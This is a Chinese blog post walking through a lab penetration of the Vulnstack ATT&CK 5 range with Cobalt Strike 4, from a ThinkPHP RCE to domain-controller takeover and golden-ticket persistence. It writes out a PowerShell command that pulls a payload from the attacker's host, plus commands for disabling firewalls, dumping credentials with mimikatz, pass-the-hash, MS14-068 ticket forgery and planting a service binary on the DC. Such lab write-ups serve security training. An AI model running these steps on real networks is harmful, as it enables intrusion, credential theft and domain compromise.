<!DOCTYPE html><html lang="zh-CN" data-theme="light"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"><title>内网中CobaltStrike4.0（CS4）的渗透之旅 | Zeo's Security Lab</title><meta name="author" content="Zeo"><meta name="copyright" content="Zeo"><meta name="format-detection" content="telephone=no"><meta name="theme-color" content="ffffff"><meta name="description" content="前言这是老以前做的一个，主要熟悉一下cs4的新特性，还是发出来看看吧，流程简单一些，但是内网流程还是比较完整的。大家可以看看  本次靶机为红日安全的ATT&amp;CK第五个靶场。 http:&#x2F;&#x2F;vulnstack.qiyuanxuetang.net&#x2F;vuln&#x2F;detail&#x2F;7&#x2F; 思路参考 记一次在Vulnstack ATT&amp;CK 5 靶场中使用CobaltStrike的渗透之旅 文章">
<meta property="og:type" content="article">
<meta property="og:title" content="内网中CobaltStrike4.0（CS4）的渗透之旅">
<meta property="og:url" content="https://godzeo.github.io/2020/07/02/%E5%86%85%E7%BD%91%E4%B8%ADCobaltStrike4.0%EF%BC%88CS4%EF%BC%89%E7%9A%84%E6%B8%97%E9%80%8F%E4%B9%8B%E6%97%85/index.html">
<meta property="og:site_name" content="Zeo&#39;s Security Lab">
<meta property="og:description" content="前言这是老以前做的一个，主要熟悉一下cs4的新特性，还是发出来看看吧，流程简单一些，但是内网流程还是比较完整的。大家可以看看  本次靶机为红日安全的ATT&amp;CK第五个靶场。 http:&#x2F;&#x2F;vulnstack.qiyuanxuetang.net&#x2F;vuln&#x2F;detail&#x2F;7&#x2F; 思路参考 记一次在Vulnstack ATT&amp;CK 5 靶场中使用CobaltStrike的渗透之旅 文章">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225566.webp">
<meta property="article:published_time" content="2020-07-02T03:57:41.000Z">
<meta property="article:modified_time" content="2022-11-28T12:25:22.942Z">
<meta property="article:author" content="Zeo">
<meta property="article:tag" content="WEB安全">
<meta property="article:tag" content="代码审计">
<meta property="article:tag" content="内网">
<meta property="article:tag" content="渗透">
<meta property="article:tag" content="二进制">
<meta property="article:tag" content="CTF">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225566.webp"><link rel="shortcut icon" href="/img/WX20211124-162855.png"><link rel="canonical" href="https://godzeo.github.io/2020/07/02/%E5%86%85%E7%BD%91%E4%B8%ADCobaltStrike4.0%EF%BC%88CS4%EF%BC%89%E7%9A%84%E6%B8%97%E9%80%8F%E4%B9%8B%E6%97%85/"><link rel="preconnect" href="//cdn.jsdelivr.net"/><link rel="stylesheet" href="/css/index.css"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fortawesome/fontawesome-free/css/all.min.css" media="print" onload="this.media='all'"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fancyapps/ui/dist/fancybox.min.css" media="print" onload="this.media='all'"><script>const GLOBAL_CONFIG = { 
  root: '/',
  algolia: undefined,
  localSearch: undefined,
  translate: undefined,
  noticeOutdate: undefined,
  highlight: {"plugin":"highlighjs","highlightCopy":true,"highlightLang":true,"highlightHeightLimit":false},
  copy: {
    success: '复制成功',
    error: '复制错误',
    noSupport: '浏览器不支持'
  },
  relativeDate: {
    homepage: false,
    post: false
  },
  runtime: '',
  date_suffix: {
    just: '刚刚',
    min: '分钟前',
    hour: '小时前',
    day: '天前',
    month: '个月前'
  },
  copyright: undefined,
  lightbox: 'fancybox',
  Snackbar: undefined,
  source: {
    justifiedGallery: {
      js: 'https://cdn.jsdelivr.net/npm/flickr-justified-gallery/dist/fjGallery.min.js',
      css: 'https://cdn.jsdelivr.net/npm/flickr-justified-gallery/dist/fjGallery.min.css'
    }
  },
  isPhotoFigcaption: false,
  islazyload: false,
  isAnchor: false
}</script><script id="config-diff">var GLOBAL_CONFIG_SITE = {
  title: '内网中CobaltStrike4.0（CS4）的渗透之旅',
  isPost: true,
  isHome: false,
  isHighlightShrink: false,
  isToc: true,
  postUpdate: '2022-11-28 20:25:22'
}</script><noscript><style type="text/css">
  #nav {
    opacity: 1
  }
  .justified-gallery img {
    opacity: 1
  }

  #recent-posts time,
  #post-meta time {
    display: inline !important
  }
</style></noscript><script>(win=>{
    win.saveToLocal = {
      set: function setWithExpiry(key, value, ttl) {
        if (ttl === 0) return
        const now = new Date()
        const expiryDay = ttl * 86400000
        const item = {
          value: value,
          expiry: now.getTime() + expiryDay,
        }
        localStorage.setItem(key, JSON.stringify(item))
      },

      get: function getWithExpiry(key) {
        const itemStr = localStorage.getItem(key)

        if (!itemStr) {
          return undefined
        }
        const item = JSON.parse(itemStr)
        const now = new Date()

        if (now.getTime() > item.expiry) {
          localStorage.removeItem(key)
          return undefined
        }
        return item.value
      }
    }
  
    win.getScript = url => new Promise((resolve, reject) => {
      const script = document.createElement('script')
      script.src = url
      script.async = true
      script.onerror = reject
      script.onload = script.onreadystatechange = function() {
        const loadState = this.readyState
        if (loadState && loadState !== 'loaded' && loadState !== 'complete') return
        script.onload = script.onreadystatechange = null
        resolve()
      }
      document.head.appendChild(script)
    })
  
      win.activateDarkMode = function () {
        document.documentElement.setAttribute('data-theme', 'dark')
        if (document.querySelector('meta[name="theme-color"]') !== null) {
          document.querySelector('meta[name="theme-color"]').setAttribute('content', '#0d0d0d')
        }
      }
      win.activateLightMode = function () {
        document.documentElement.setAttribute('data-theme', 'light')
        if (document.querySelector('meta[name="theme-color"]') !== null) {
          document.querySelector('meta[name="theme-color"]').setAttribute('content', 'ffffff')
        }
      }
      const t = saveToLocal.get('theme')
    
          if (t === 'dark') activateDarkMode()
          else if (t === 'light') activateLightMode()
        
      const asideStatus = saveToLocal.get('aside-status')
      if (asideStatus !== undefined) {
        if (asideStatus === 'hide') {
          document.documentElement.classList.add('hide-aside')
        } else {
          document.documentElement.classList.remove('hide-aside')
        }
      }
    
    const detectApple = () => {
      if(/iPad|iPhone|iPod|Macintosh/.test(navigator.userAgent)){
        document.documentElement.classList.add('apple')
      }
    }
    detectApple()
    })(window)</script><meta name="generator" content="Hexo 6.3.0"><link rel="alternate" href="/atom.xml" title="Zeo's Security Lab" type="application/atom+xml">
</head><body><div id="sidebar"><div id="menu-mask"></div><div id="sidebar-menus"><div class="avatar-img is-center"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231013354.png" onerror="onerror=null;src='/img/friend_404.gif'" alt="avatar"/></div><div class="sidebar-site-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">125</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><hr/><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> Home</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> Archives</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> Categories</span></a></div><div class="menus_item"><a class="site-page group" href="javascript:void(0);"><i class="fa-fw fas fa-list"></i><span> List</span><i class="fas fa-chevron-down"></i></a><ul class="menus_item_child"><li><a class="site-page child" href="/music/"><i class="fa-fw fas fa-music"></i><span> Music</span></a></li><li><a class="site-page child" href="/movies/"><i class="fa-fw fas fa-video"></i><span> Movie</span></a></li></ul></div><div class="menus_item"><a class="site-page" href="/about/"><i class="fa-fw fas fa-heart"></i><span> About</span></a></div></div></div></div><div class="post" id="body-wrap"><header class="post-bg" id="page-header" style="background-image: url('https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225566.webp')"><nav id="nav"><span id="blog_name"><a id="site-name" href="/">Zeo's Security Lab</a></span><div id="menus"><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> Home</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> Archives</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> Categories</span></a></div><div class="menus_item"><a class="site-page group" href="javascript:void(0);"><i class="fa-fw fas fa-list"></i><span> List</span><i class="fas fa-chevron-down"></i></a><ul class="menus_item_child"><li><a class="site-page child" href="/music/"><i class="fa-fw fas fa-music"></i><span> Music</span></a></li><li><a class="site-page child" href="/movies/"><i class="fa-fw fas fa-video"></i><span> Movie</span></a></li></ul></div><div class="menus_item"><a class="site-page" href="/about/"><i class="fa-fw fas fa-heart"></i><span> About</span></a></div></div><div id="toggle-menu"><a class="site-page"><i class="fas fa-bars fa-fw"></i></a></div></div></nav><div id="post-info"><h1 class="post-title">内网中CobaltStrike4.0（CS4）的渗透之旅</h1><div id="post-meta"><div class="meta-firstline"><span class="post-meta-date"><i class="far fa-calendar-alt fa-fw post-meta-icon"></i><span class="post-meta-label">发表于</span><time class="post-meta-date-created" datetime="2020-07-02T03:57:41.000Z" title="发表于 2020-07-02 11:57:41">2020-07-02</time><span class="post-meta-separator">|</span><i class="fas fa-history fa-fw post-meta-icon"></i><span class="post-meta-label">更新于</span><time class="post-meta-date-updated" datetime="2022-11-28T12:25:22.942Z" title="更新于 2022-11-28 20:25:22">2022-11-28</time></span><span class="post-meta-categories"><span class="post-meta-separator">|</span><i class="fas fa-inbox fa-fw post-meta-icon"></i><a class="post-meta-categories" href="/categories/%E5%86%85%E7%BD%91%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/">内网安全研究</a></span></div><div class="meta-secondline"></div></div></div></header><main class="layout" id="content-inner"><div id="post"><article class="post-content" id="article-container"><span id="more"></span>

<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>这是老以前做的一个，主要熟悉一下cs4的新特性，还是发出来看看吧，流程简单一些，但是内网流程还是比较完整的。大家可以看看</p>
<ul>
<li>本次靶机为红日安全的ATT&amp;CK第五个靶场。</li>
<li><a target="_blank" rel="noopener" href="http://vulnstack.qiyuanxuetang.net/vuln/detail/7/">http://vulnstack.qiyuanxuetang.net/vuln/detail/7/</a></li>
<li>思路参考 <strong>记一次在Vulnstack ATT&amp;CK 5 靶场中使用CobaltStrike的渗透之旅</strong></li>
<li>文章中如有错误的地方望大佬指正。</li>
<li>菜鸡文章望大佬勿喷。</li>
</ul>
<h1 id="0x00信息收集"><a href="#0x00信息收集" class="headerlink" title="0x00信息收集"></a>0x00信息收集</h1><p>Namp 扫一下</p>
<p>发现 80 3306</p>
<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA2MDIxMDAzNTcucG5n?x-oss-process=image/format,png" alt="image-20200326201051940"></p>
<p>访问一下发现thinkphp5 记得是有rce的</p>
<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA2MDIxMDAzNTgucG5n?x-oss-process=image/format,png" alt="image-20200326201233266"></p>
<p>searchsploit thinkphp</p>
<p>有货</p>
<h1 id="0x00入口权限获取"><a href="#0x00入口权限获取" class="headerlink" title="0x00入口权限获取"></a>0x00入口权限获取</h1><p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100359.png" alt="image-20200326201527710"></p>
<p>cool可以用</p>
<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA2MDIxMDA0MDAucG5n?x-oss-process=image/format,png" alt="image-20200326202900905"></p>
<p>上传的姿势太多了，我就使用一个最简单的</p>
<p>使用powershell 下载 CS payload</p>
<figure class="highlight csharp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">powershell (<span class="keyword">new</span>-<span class="built_in">object</span> Net.WebClient).DownloadFile(<span class="string">&#x27;http://192.168.203.140/a.ps1&#x27;</span>,<span class="string">&#x27;C:\phpstudy_pro\WWW\a.ps1&#x27;</span>)</span><br><span class="line">  </span><br><span class="line"></span><br><span class="line">推荐可以直接放到C:\\Windows\\Temp\\里面</span><br><span class="line">C:\\Windows\\Temp\\payload.exe</span><br></pre></td></tr></table></figure>

<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100401.png" alt="image-20200326210649920"></p>
<p>运行 直接上线 调整 sleep 1</p>
<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100402.png" alt="image-20200326210928665"></p>
<h1 id="0x01-提权"><a href="#0x01-提权" class="headerlink" title="0x01 提权"></a>0x01 提权</h1><p>权限比较低，需要提权</p>
<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100403.png" alt="image-20200326212306328"></p>
<p>我生成了一个名为<code>Priv Esc</code>的<code>listener</code>（<strong>payload:tcp beacon</strong>）（建议勾选<strong>Bind to localhost only</strong>）</p>
<p>为什么要勾选呢？作者的话：（反正就是勾选就对了）</p>
<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100404.png" alt="image-20200326214136126"></p>
<h4 id="svc-exe"><a href="#svc-exe" class="headerlink" title="svc-exe"></a>svc-exe</h4><p><code>svc-exe</code>这个参数，并不是和<code>exp</code>提权那样，帮你从普通用户 ”pwn！！“ 一下子拿下系统，而是当管理员权限满足不了你的时候，可以用<code>svc-exe</code>进行提升（类似<code>getsystem</code>命令，但是<code>getsystem</code>不太好使）</p>
<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA2MDIxMDA0MDUucG5n?x-oss-process=image/format,png" alt="image-20200326214328389"></p>
<p>evelate svc-exe</p>
<p>提权成功</p>
<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA2MDIxMDA0MDYucG5n?x-oss-process=image/format,png" alt="image-20200326214552334"></p>
<h1 id="0x02-横向移动"><a href="#0x02-横向移动" class="headerlink" title="0x02 横向移动"></a>0x02 横向移动</h1><p>切换到高权限用户</p>
<p>通过 explore-Process List 先查看一下进程，看看有没有杀毒软件</p>
<p>？？？</p>
<p>这个靶机怎么可能有？但是流程还是要走一下的</p>
<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100407.png" alt="image-20200326223213666"></p>
<h3 id="关闭防火墙"><a href="#关闭防火墙" class="headerlink" title="关闭防火墙"></a>关闭防火墙</h3><p>使用命令 netsh advfirewall set allprofiles state off 关闭防火墙</p>
<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100408.png" alt="image-20200326223531572"></p>
<h3 id="内网的信息搜集"><a href="#内网的信息搜集" class="headerlink" title="内网的信息搜集"></a>内网的信息搜集</h3><p>网段的端口扫描，得来一下意思意思吧</p>
<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100409.png" alt="image-20200328161638642"></p>
<p>然后查看域的信息</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">net view /domain</span><br></pre></td></tr></table></figure>

<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100410.png" alt="image-20200326223828278"></p>
<p>还可以用cs4的新增命令</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">net domain</span><br><span class="line">net domain_controllers</span><br></pre></td></tr></table></figure>

<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100411.png" alt="image-20200327095731157"></p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">老方法</span><br><span class="line">run net config workstation</span><br></pre></td></tr></table></figure>

<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100412.png" alt="image-20200326225030947"></p>
<p>工作站域是 sun.com</p>
<p>可现在登录域是 win7</p>
<p><strong>因此我们需要一个域用户的进程来进行信息搜集</strong></p>
<h3 id="我们需要一个域用户"><a href="#我们需要一个域用户" class="headerlink" title="我们需要一个域用户"></a>我们需要一个域用户</h3><p>先调用 Logonpasswords 抓一波密码</p>
<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100413.png" alt="image-20200326232857399"></p>
<p>还可以直观的看一下view- credentials</p>
<p>(因为是靶机，你最好把win7 的账户都登陆一下，否则只能抓到一个账户)</p>
<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA2MDIxMDA0MTQucG5n?x-oss-process=image/format,png" alt="image-20200326233306356"></p>
<p>那我们拿到了这些凭据如何去调用他们呢?</p>
<p>切换回 本地管理员的beacon上 使用凭证有三种方法</p>
<ul>
<li>第一种:使用make_token去调用</li>
<li>第二种:使用pth命令生成一个新的进程注入进去</li>
<li>第三种:使用spawn as</li>
</ul>
<h3 id="第一种-Make-token"><a href="#第一种-Make-token" class="headerlink" title="第一种:Make_token"></a>第一种:Make_token</h3><p>Make_token是在当前的 beacon 上进行身份伪造<br>在当前beacon上，您的权限、权限或标识没有变化。但是，当您与远程资源交互时，使用的是您<br>伪造的身份.</p>
<p>先本地测试试命令,这个命令本地用户是用不了的，所以我们make_token一个域用户</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">net group “domain admins” /domain</span><br></pre></td></tr></table></figure>

<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA2MDIxMDA0MTUucG5n?x-oss-process=image/format,png" alt="image-20200327154254921"></p>
<p>有之前抓取的密码 域用户 leo 123.com</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">make_token SUN.COM/leo 123.com</span><br><span class="line"></span><br><span class="line">#  注意域是SUN  要写成SUN.COM 才可以</span><br></pre></td></tr></table></figure>

<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100416.png" alt="image-20200327155758470"></p>
<h3 id="第二种-使用pth命令生成一个新的进程注入进去"><a href="#第二种-使用pth命令生成一个新的进程注入进去" class="headerlink" title="第二种:使用pth命令生成一个新的进程注入进去"></a>第二种:使用pth命令生成一个新的进程注入进去</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pth SUN.COM\leo NTMLhash</span><br></pre></td></tr></table></figure>

<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100417.png" alt="image-20200327162629958"> <img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100418.png" alt="image-20200327163003948"></p>
<p>找到PID</p>
<p>然后steal_token PID 成功执行域命令</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">steal_token 3860</span><br></pre></td></tr></table></figure>

<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA2MDIxMDA0MTkucG5n?x-oss-process=image/format,png" alt="image-20200327163217871"></p>
<h3 id="第三种-使用spawn-as"><a href="#第三种-使用spawn-as" class="headerlink" title="第三种:使用spawn as"></a>第三种:使用spawn as</h3><p>spawnas 命令生成具有其他用户凭据的 beacon</p>
<p>用图形化不香吗？</p>
<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA2MDIxMDA0MjAucG5n?x-oss-process=image/format,png" alt="image-20200327163723794"></p>
<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100421.png" alt="image-20200327163840163"> <img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100422.png" alt="image-20200327164306023"></p>
<p>或者命令</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">spawnas SUN.COM/leo 123.com</span><br></pre></td></tr></table></figure>

<h3 id="第四中-进程注入到域用户的进程中，但必须得是-高权用户"><a href="#第四中-进程注入到域用户的进程中，但必须得是-高权用户" class="headerlink" title="第四中 进程注入到域用户的进程中，但必须得是 高权用户"></a>第四中 进程注入到域用户的进程中，但必须得是 高权用户</h3><p>那我使用system权限进入，找到域用户进程</p>
<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA2MDIxMDA0MjMucG5n?x-oss-process=image/format,png" alt="image-20200327172102489"></p>
<p>就会多出来一个用户的beacon，成功</p>
<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100424.png" alt="image-20200327172157356"></p>
<h1 id="0x03-域内信息收集"><a href="#0x03-域内信息收集" class="headerlink" title="0x03 域内信息收集"></a>0x03 域内信息收集</h1><p>有了域用户，那么就可以在域内收集信息</p>
<p>方法太多了，我只简单的介绍CS里面东西</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">net view</span><br><span class="line">net view sun</span><br></pre></td></tr></table></figure>

<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100425.png" alt="image-20200327172649479"></p>
<p>查看信任域</p>
<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100426.png" alt="image-20200327174110848"></p>
<p>查看域内计算机</p>
<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100427.png" alt="image-20200327175106085"></p>
<p>查看域控</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">net dclist sun</span><br><span class="line"></span><br><span class="line">这是输入sun域就可以，不用 sun.com</span><br></pre></td></tr></table></figure>

<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA2MDIxMDA0MjgucG5n?x-oss-process=image/format,png" alt="image-20200327175950669"></p>
<p>查看域管理员</p>
<p>Net group \\sun.com domain admin</p>
<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100429.png" alt="image-20200327175654595"></p>
<p>查看所有用户</p>
<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100430.png" alt="image-20200327175842362"></p>
<p>看下sid</p>
<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100431.png" alt="image-20200327180720472"></p>
<p>信息汇总</p>
<p>域管理员默认没有。。。因为我们还要提权操作</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">域名：sun.com</span><br><span class="line">域管理员：sun\administrator</span><br><span class="line">域用户：administrator，admin，leo和一个krbtgt</span><br><span class="line">域控：DC</span><br><span class="line">域成员：DC，Win7</span><br><span class="line">域控ip：192.168.138.138</span><br><span class="line">用户sid：S-1-5-21-3388020223-1982701712-4030140183-1110</span><br><span class="line">域sid：S-1-5-21-3388020223-1982701712-4030140183</span><br><span class="line">已知凭据：sun\leo:123.com，win7\heart:123.com</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure>

<h3 id="域提权"><a href="#域提权" class="headerlink" title="域提权"></a>域提权</h3><p>我们利用之前所收集到的信息进行域提权的操作<br>只能上 ms14-068 域提权一波了</p>
<p>先上传exp</p>
<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100432.png" alt="image-20200327214328684"></p>
<p>生成伪造缓存</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">shell MS14-068.exe -u leo\@sun.com -p 123.com -s S-1-5-21-3388020223-1982701712-4030140183-1110 -d 192.168.138.138</span><br></pre></td></tr></table></figure>

<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100433.png" alt="image-20200327214251809"></p>
<p>此时会生成TGT_leo@sun.com.ccache的伪造缓存文件。</p>
<p><code>mimikatz kerberos::purge</code> 清空当前机器中所有凭证</p>
<p><code>mimikatz kerberos::list</code> 查看当前机器凭证</p>
<p>导入伪造缓存前面</p>
<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100434.png" alt="image-20200327214615296"></p>
<p>用mimikaze</p>
<p><code>mimikatz kerberos::ptc TGT_leo\@sun.com.ccache</code> 将票据注入到内存中</p>
<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100435.png" alt="image-20200327215045968"></p>
<p>成功提取，读取到了数据</p>
<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100436.png" alt="image-20200327215118510"></p>
<h1 id="0x04横向到域控"><a href="#0x04横向到域控" class="headerlink" title="0x04横向到域控"></a>0x04横向到域控</h1><h3 id="正向连接"><a href="#正向连接" class="headerlink" title="正向连接"></a>正向连接</h3><p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100437.png" alt="image-20200327220257321"> <img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100438.png" alt="image-20200327220438029"></p>
<p>拿下DC</p>
<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100439.png" alt="image-20200327221244226"></p>
<p>反向beacon连接</p>
<p>先建立一个listener</p>
<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100440.png" alt="image-20200327223051295"> <img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100441.png" alt="image-20200327223240172"></p>
<p>生成一个生成一个 stageless payload ，这里选用的是服务exe</p>
<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100442.png" alt="image-20200327223416979"></p>
<p>选取刚刚的listener</p>
<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100443.png" alt="image-20200327223647279"></p>
<p>生成exe</p>
<p>我起名叫godc.exe</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">然后访问</span><br><span class="line">\\DC\\C$</span><br><span class="line"></span><br><span class="line">upload 上传payload</span><br></pre></td></tr></table></figure>

<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100444.png" alt="image-20200327223943767"></p>
<p>加入注册表</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">主要这里有个坑</span><br><span class="line">1 是\\ / 这俩要分清</span><br><span class="line">2 还有就是 binpath= “C://”  这尼玛中间有个空格一定不能省略！！！！</span><br><span class="line">binpath=空格“C://”</span><br><span class="line"></span><br><span class="line">run sc \\DC create godc binpath= &quot;C:/godc.exe&quot;</span><br></pre></td></tr></table></figure>

<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100445.png" alt="image-20200327225802945"></p>
<p>启动服务</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">run sc \\DC start godc</span><br></pre></td></tr></table></figure>

<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100446.png" alt="image-20200327231414966"></p>
<p>机子也是反向链接回来的，注意箭头</p>
<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100447.png" alt="image-20200327232435244"></p>
<p>在内网环境中可以使用ipc $生成的SMB Beacon上传到目标主机执行，但是目标主机并不会直接上线的，需要我们自己用链接命令(link )去连接他。</p>
<p>link操作 只能是smb beacon</p>
<p>所以Leo那个是tcp的不能link操作</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">也要先调用凭据，远程命令执行</span><br><span class="line">关闭防火墙</span><br><span class="line"></span><br><span class="line">remote-exec wmi DC netsh advfirewall set allprofiles state off</span><br></pre></td></tr></table></figure>

<h1 id="0x05-权限维持"><a href="#0x05-权限维持" class="headerlink" title="0x05 权限维持"></a>0x05 权限维持</h1><p>黄金票据(golden ticket)</p>
<p>1、首先我们需要先利用 logonpasswords 抓一波明文(在名为DC的Beacon进行操作)</p>
<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100448.png" alt="image-20200327234654469"></p>
<p>2、使用 dcsync 命令导出 krbtgt 的NTLM Hash</p>
<p><img src="https://gitee.com/godzeo/blogimg/raw/master/img/20200602100449.png" alt="image-20200327235127313"></p>
<p>或者，使用 hashdump 也可以导出hash</p>
